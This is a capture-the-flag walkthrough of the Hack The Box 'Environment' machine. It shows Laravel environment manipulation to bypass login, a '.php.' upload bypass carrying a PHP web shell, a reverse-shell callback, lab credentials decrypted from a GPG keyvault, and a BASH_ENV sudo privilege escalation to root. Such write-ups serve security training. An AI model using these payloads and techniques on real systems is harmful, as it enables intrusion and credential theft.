by 0xW1LD
As usual let’s start off with an nmap
scan.
1
2
3
4
5
6
7
8
9
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u5 (protocol 2.0)
| ssh-hostkey:
| 256 5c023395ef44e280cd3a960223f19264 (ECDSA)
|_ 256 1f3dc2195528a17759514810c44b74ab (ED25519)
80/tcp open http nginx 1.22.1
|_http-title: Save the Environment | environment.htb
|_http-server-header: nginx/1.22.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
We can see two ports open on the box.
Let’s add environment.htb
to our /etc/hosts
file like so:
1
<IP> environment.htb
Now we should be able to visit the website.
As we can see we are greeted by a website which seems to only have the ability to join a mailing list.
When signing up for a mailing list a POST
request is sent to mailing
and returns the message Email added to the mailing list successfully!
Let’s take a look at the headers.
1
2
3
4
5
6
7
8
9
10
HTTP/1.1 200 OK
Server: nginx/1.22.1
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Cache-Control: no-cache, private
Date: Sat, 03 May 2025 23:30:47 GMT
Set-Cookie: XSRF-TOKEN=eyJpdiI6Ilp3ZVVCVk5zMWNHSDRhNkcyUGZoeGc9PSIsInZhbHVlIjoiL2JjNkdzWWt2Y1cxYTA2RWJ2b3ovRXMwNVNTc0s3eVRRKzgxOGExSDE2ZEVVTTFXZGxIVkFxdEgyQ3MydnRIVkFNME0rTnFpdWxWRG4zRnpoZXl3c2dlcEFEZHY3amdrVVN6Uk1ZU1EvNUpuaXBGeDR3WCs3aWVDaE1QNEQyMEEiLCJtYWMiOiJmMDE4Zjg5MTI4Mzc1ZjNmODc5MDI1YzZlMzk2Y2IxZDM4ZjA1ZDhiMzg1NTFmYmQyMmQxYTFlZDY4ODAzYWQyIiwidGFnIjoiIn0%3D; expires=Sun, 04 May 2025 01:30:47 GMT; Max-Age=7200; path=/; samesite=lax
Set-Cookie: laravel_session=eyJpdiI6InJwU3YyR3h3TjQvekdEckpEellDQnc9PSIsInZhbHVlIjoiS0tlMElKMDBuakx1SE9CV1NWOFZ0SVN5d2tRYWNkZGQ2dmhQRFk5Kzdmc0Zwbm1rbGVoQnZNcm5OZlErQmc3dG1XbFZuM3ZiajA0cW5XdmpYQkhSdytncUVqVGhTTHJQWnJkcFpKU1U0MlM5RnI5UWg1OWtxY1ZMNm14dUJOdG4iLCJtYWMiOiIwN2M1Y2UyODVhMTk2MDBlMGZlMjUyMDViYTcyZGEyNmI4YTc2MjUxYjA2ZGRjOWNkODM0NjgwMmFjZDg2MDlhIiwidGFnIjoiIn0%3D; expires=Sun, 04 May 2025 01:30:47 GMT; Max-Age=7200; path=/; httponly; samesite=lax
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
Looking at these headers we can see that the server is running on nginx 1.22.1
and contains a laravel_session
cookie which indicates that it is running the laravel php
framework.
Let’s fuzz for some subdirectories.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
ffuf -w `fzf-wordlists` -u http://environment.htb/FUZZ -fs 153
/ ___\ / ___\ / ___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://environment.htb/FUZZ
:: Wordlist : FUZZ: /opt/lists/seclists/Discovery/Web-Content/quickhits.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 153
________________________________________________
login [Status: 200, Size: 2391, Words: 532, Lines: 55, Duration: 408ms]
upload/ [Status: 405, Size: 244869, Words: 46159, Lines: 2576, Duration: 560ms]
:: Progress: [2565/2565] :: Job [1/1] :: 115 req/sec :: Duration: [0:00:24] :: Errors: 0 ::
Looking at the results we have 2 hits, login
, and upload
with the status code of 405
which is method not allowed
.
Let’s visit login
.
We can see we are greeted by a Marketing Management
login portal.
Attempting some credentials like admin@environment.htb:password
leads to an invalid credentials
error message.
Let’s take a look at /upload
.
We can see a dashboard for laravel
indicating the versions of both php
and laravel
of 8.2.28
and 11.30.0
respectively.
If we change our request method to POST
we get the following:
This might indicate that we need a valid token, if we take our current token and add it to the body of the request we get redirected to /login
Looking around for vulnerabilities on laravel
we can find an article on Environment manipulation via query string in Laravel.
Attempting to inject environment arguments, http://environment.htb/?–env=local leads to our environment variable being put onto the page.
Back to /login
, if we try to send a POST
request with nothing but our token we get an internal server error
.
In the error above we can see that there is a check for remember
, let’s see if we can view the code below by setting remember
to something not supported.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /login HTTP/1.1
Host: environment.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 109
Origin: http://environment.htb
Connection: keep-alive
Referer: http://environment.htb/login?error=Invalid%20credentials.
Cookie: XSRF-TOKEN=eyJpdiI6IktpamtpaG5oY0FOdlYzNnRqM3BPc3c9PSIsInZhbHVlIjoieklmUUhJS2VZbXppbkwycVhpekR1TXU3ZzdlWmJScmVZa1VHbkwvZmFtM3Ewc2NITktmT3F0TXBBOXhjN01CR3RNejlxWU1mSjdKOVJ1QzdIOWNLZWNCSlRuRzlZUnFyUUVOQWJ0UEpBQU4waFVoc2VDUVVQVFZuNTJMZ0RRcWkiLCJtYWMiOiIzMTVlMDU1N2JjMjVmYTA0MTQxY2JmYWM5OTk1MWVhOTU3NmYzYzgxYzdlMjM2NjA5ZGI2Mzc2MWI1MjJkOGE5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ii9Rdkg4QkEwNUFqMXlsTUF1czEzK1E9PSIsInZhbHVlIjoiMTVteHRBekxFelBGYjFwd21rdjF4TmptMEpxKzcxVHRZNWx5OEZpUDR6UldpZi9RSE5oTDBYNjM2Tm81Y2xQL3NueGhSc2RCS3pyTCt5M2t2ZC9HcHlWNmlaaEhWZ1IvSGlCM0Vsb0xWVklyU2F1OVpYT2pVQ0MzUHA2RUVEMFYiLCJtYWMiOiIyNjNkNDYxN2YwMWMyZTVmYTU4OGMwMjQ2NDFkMzg0NmFmOTVhNDI5Yzg3NTRkZjU4NWEyMjBiZWJmNzY4MDgwIiwidGFnIjoiIn0%3D
Upgrade-Insecure-Requests: 1
Priority: u=0, i
_token=NrzeUaIYwTANRvzxCd3Hp4bPCZkmA6hRMEfDC8Y3&email=w1ld%400xw1ld.github.io&password=Password&remember=w1ld
We see that we can view the code below in the error.
We can see that it checks if the env
is preprod
. So let’s try it.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /login?--env=preprod HTTP/1.1
Host: environment.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 109
Origin: http://environment.htb
Connection: keep-alive
Referer: http://environment.htb/login?error=Invalid%20credentials.
Cookie: XSRF-TOKEN=eyJpdiI6IktpamtpaG5oY0FOdlYzNnRqM3BPc3c9PSIsInZhbHVlIjoieklmUUhJS2VZbXppbkwycVhpekR1TXU3ZzdlWmJScmVZa1VHbkwvZmFtM3Ewc2NITktmT3F0TXBBOXhjN01CR3RNejlxWU1mSjdKOVJ1QzdIOWNLZWNCSlRuRzlZUnFyUUVOQWJ0UEpBQU4waFVoc2VDUVVQVFZuNTJMZ0RRcWkiLCJtYWMiOiIzMTVlMDU1N2JjMjVmYTA0MTQxY2JmYWM5OTk1MWVhOTU3NmYzYzgxYzdlMjM2NjA5ZGI2Mzc2MWI1MjJkOGE5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ii9Rdkg4QkEwNUFqMXlsTUF1czEzK1E9PSIsInZhbHVlIjoiMTVteHRBekxFelBGYjFwd21rdjF4TmptMEpxKzcxVHRZNWx5OEZpUDR6UldpZi9RSE5oTDBYNjM2Tm81Y2xQL3NueGhSc2RCS3pyTCt5M2t2ZC9HcHlWNmlaaEhWZ1IvSGlCM0Vsb0xWVklyU2F1OVpYT2pVQ0MzUHA2RUVEMFYiLCJtYWMiOiIyNjNkNDYxN2YwMWMyZTVmYTU4OGMwMjQ2NDFkMzg0NmFmOTVhNDI5Yzg3NTRkZjU4NWEyMjBiZWJmNzY4MDgwIiwidGFnIjoiIn0%3D
Upgrade-Insecure-Requests: 1
Priority: u=0, i
_token=NrzeUaIYwTANRvzxCd3Hp4bPCZkmA6hRMEfDC8Y3&email=w1ld%400xw1ld.github.io&password=Password&remember=True
Success! we’re redirected to the management dashboard!
Taking a look at the Profile
tab, we can see that we can upload a new profile picture.
Uploading a malicious file like a .php
seems to be invalid.
After doing some testing I’ve come to the conclusion that there’s a file content filter as well as a file extension blacklist.
Looking around we find that this cve states that if we upload a file with the following extension: .php.
, it simply gets uploaded as .php
.
1
{"url":"http:\/\/environment.htb\/storage\/files\/w1ld.php","uploaded":"http:\/\/environment.htb\/storage\/files\/w1ld.php"}
So if we upload the following file as w1ld.php.
:
1
2
GIF8
<?php system($_REQUEST['cmd'])?>
and visit the resulting url
with the parameter of cmd=id
we get the following:
let’s upload a revshell from revshells
And we get a call back on our listener!
1
2
3
4
5
6
7
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.129.238.73.
Ncat: Connection from 10.129.238.73:51504.
whoami
www-data
Looking around we can actually view hish
user’s home directory, as can be seen from the directory’s execute permissions.
1
2
3
4.0K drwxr-xr-x 3 root root 4.0K Jan 12 11:51 .
4.0K drwxr-xr-x 18 root root 4.0K Apr 30 00:31 ..
4.0K drwxr-xr-x 5 hish hish 4.0K Apr 11 00:51 hish
We can see backup
which looks interesting.
1
2
3
4
5
6
7
8
9
10
11
12
ls -lash
total 36K
4.0K drwxr-xr-x 5 hish hish 4.0K Apr 11 00:51 .
4.0K drwxr-xr-x 3 root root 4.0K Jan 12 11:51 ..
0 lrwxrwxrwx 1 root root 9 Apr 7 19:29 .bash_history -> /dev/null
4.0K -rw-r--r-- 1 hish hish 220 Jan 6 21:28 .bash_logout
4.0K -rw-r--r-- 1 hish hish 3.5K Jan 12 14:42 .bashrc
4.0K drwxr-xr-x 4 hish hish 4.0K May 4 21:40 .gnupg
4.0K drwxr-xr-x 3 hish hish 4.0K Jan 6 21:43 .local
4.0K -rw-r--r-- 1 hish hish 807 Jan 6 21:28 .profile
4.0K drwxr-xr-x 2 hish hish 4.0K Jan 12 11:49 backup
4.0K -rw-r--r-- 1 root hish 33 May 4 06:33 user.txt
Inside the backup
directory we can find keyvault.gpg
, Let’s transfer this over to our localhost.
Let’s also zip up the .gnupg
directory and transfer it to our localhost as well.
Now that we have all these files let’s decrypt the keyvault.gpg
using gpg
1
2
3
4
5
6
7
gpg --homedir .gnupg -d keyvault.gpg
gpg: WARNING: unsafe permissions on homedir '/workspace/htb/labs/environment/.gnupg'
gpg: encrypted with 2048-bit RSA key, ID B755B0EDD6CFCFD3, created 2025-01-11
"hish_ <hish@environment.htb>"
PAYPAL.COM -> Ihaves0meMon$yhere123
ENVIRONMENT.HTB -> marineSPm@ster!!
FACEBOOK.COM -> summerSunnyB3ACH!!
We get the following creds:
Ihaves0meMon$yhere123
marineSPm@ster!!
summerSunnyB3ACH!!
We can ssh
to environment.htb
using hish
:marineSPm@ster!!
1
2
3
4
5
6
7
8
9
10
11
ssh hish@environment.htb
hish@environment.htbs password:
Linux environment 6.1.0-34-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.135-1 (2025-04-25) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. -bash: warning: setlocale: LC_ALL: cannot change locale (en_US.UTF-8)
Last login: Sun May 4 22:05:48 2025 from 10.10.14.158
hish@environment:~$
Taking a look at sudo -l
we find that we can run a custom script called /usr/bin/systeminfo
1
2
3
4
5
6
7
8
sudo -l
[sudo] password for hish:
Sorry, try again.
[sudo] password for hish:
Matching Defaults entries for hish on environment:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, env_keep+="ENV BASH_ENV", use_pty
User hish may run the following commands on environment:
(ALL) /usr/bin/systeminfo
Within the script is the following:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/bin/bash
echo -e "\n### Displaying kernel ring buffer logs (dmesg) ###"
dmesg | tail -n 10
echo -e "\n### Checking system-wide open ports ###"
ss -antlp
echo -e "\n### Displaying information about all mounted filesystems ###"
mount | column -t
echo -e "\n### Checking system resource limits ###"
ulimit -a
echo -e "\n### Displaying loaded kernel modules ###"
lsmod | head -n 10
echo -e "\n### Checking disk usage for all filesystems ###"
df -h
seeing that BASH_ENV
is being preserved in the sudoers
configuration, we can change this to any script we want, in this case I’ll create script to change the SUID
bit of /bin/bash
1
2
echo 'chmod u+s /bin/bash' > /tmp/exploit.sh
chmod +x /tmp/exploit.sh
Now let’s export this file to be our environment variable BASH_ENV
1
export BASH_ENV=/tmp/exploit.sh
Run the bash script to execute our exploit, and run /bin/bash
with -p
to preserve our permissions.
1
2
3
4
5
6
sudo systeminfo
/bin/bash -p
bash: warning: setlocale: LC_ALL: cannot change locale (en_US.UTF-8)
bash-5.2# whoami
root
bash-5.2#
Just like that we have root!
tags: os/linux - diff/medium